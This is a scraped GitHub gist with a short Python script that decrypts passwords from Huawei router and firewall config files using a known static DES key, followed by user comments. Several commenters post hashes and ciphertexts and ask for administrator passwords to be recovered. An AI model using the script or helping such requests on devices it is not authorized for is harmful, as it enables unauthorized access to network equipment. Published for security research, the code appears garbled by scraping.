Decrypt Huawei router/firewall passwords. Huawei stores passwords using DES encryption when the crypted option is enabled. The article describes a Python tool called `huaweiDecrypt.py` that extracts local user credentials from Huawei router and firewall configuration files. It decrypts passwords stored with Huawei's DES encryption, which uses a known static key (`\x01\x02\x03\x04\x05\x06\x07\x08`) in ECB mode, allowing both plain-text and "crypted" passwords to be recovered. The script was authored by Etienne Stalmans in 2014. - - Save staaldraad/605a5e40abaaa5915bc7 to your computer and use it in GitHub Desktop. Learn more about bidirectional Unicode characters https://github.co/hiddenchars | /usr/bin/python | | | """ | | | Simple tool to extract local users and passwords from most Huawei routers/firewalls config files. | | | Will extract plain-text passwords and crypted credentials. Huawei config files use DES encryption with | | | a known key. Using this information, the script will decrypt credentials found in the config file. | | | Author: Etienne Stalmans etienne@sensepost.com | | | Version: 1.0 12/01/2014 | | | """ | | | from Crypto.Cipher import DES | | | import sys | | | import binascii | | | def decode char c : | | | if c == 'a': | | | r = '?' | | | else: | | | r = c | | | return ord r - ord ' ' | | | def ascii to binary s : | | | assert len s == 24 | | | out = 0 18 | | | i = 0 | | | j = 0 | | | for i in range 0, len s , 4 : | | | y = decode char s i + 0 | | | y = y << 6 & 0xffffff | | | k = decode char s i + 1 | | | y = y | k & 0xffffff | | | y = y << 6 & 0xffffff | | | k = decode char s i + 2 | | | y = y | k & 0xffffff | | | y = y << 6 & 0xffffff | | | k = decode char s i + 3 | | | y = y | k & 0xffffff | | | out j+2 = chr y & 0xff | | | out j+1 = chr y 8 & 0xff | | | out j+0 = chr y 16 & 0xff | | | j += 3 | | | return "".join out | | | def decrypt password p : | | | r = ascii to binary p | | | r = r :16 | | | d = DES.new "\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE ECB | | | r = d.decrypt r | | | return r.rstrip "\x00" | | | f in = open sys.argv 1 ,'r' | | | print " Huawei Password Decryptor" | | | for line in f in: | | | if 'local-user' not in line or 'password' not in line : | | | continue | | | inp = line.split | | | print " -----------------------" | | | print "\t + User: %s"%inp 1 | | | print "\t + Password type: %s"%inp 3 | | | if inp 3 == "cipher": | | | print "\t + Cipher: %s"%inp 4 | | | print "\t + Password: %s"%decrypt password inp 4 | | | else: | | | print "\t + Password: %s"% inp 4 | Hello It it possible to decrypt this one? $1c$nIyL. {5F2$TzF'@"gEaH mJb Vd fBD"px&M1'i1aOXF:ptG:E$ Thank you in advance for dg 8245 i need Administrator user and password i search through notpade and this what i get UserName="vodadsl" Password="41a69149e63df1ce83234fc39a70caeab11eed3d390629ca7cffc2dcd327480b" UserLevel="0" Enable="1" ModifyPasswordFlag="0" i need to decrypt the password $2GACZYhI-vIoR v/Cdi:7dkP=;9/ HKvZ2UK 5, AA9ALE\Z%.S &iVCn216/StW, M% 'bpB{@ jdL 1:Be= 9P Ky}2 &|=jsR$ pls i tried the site, it doesnt give a good result: https://andreluis034.github.io/huawei-utility-page/ cipher https://andreluis034.github.io/huawei-utility-page/ cipher $2 $A: @i5s https://github.com/i5s +L7OAK/KQ.r9gfB 5v,-S%T=rz~&0 6I:Zt,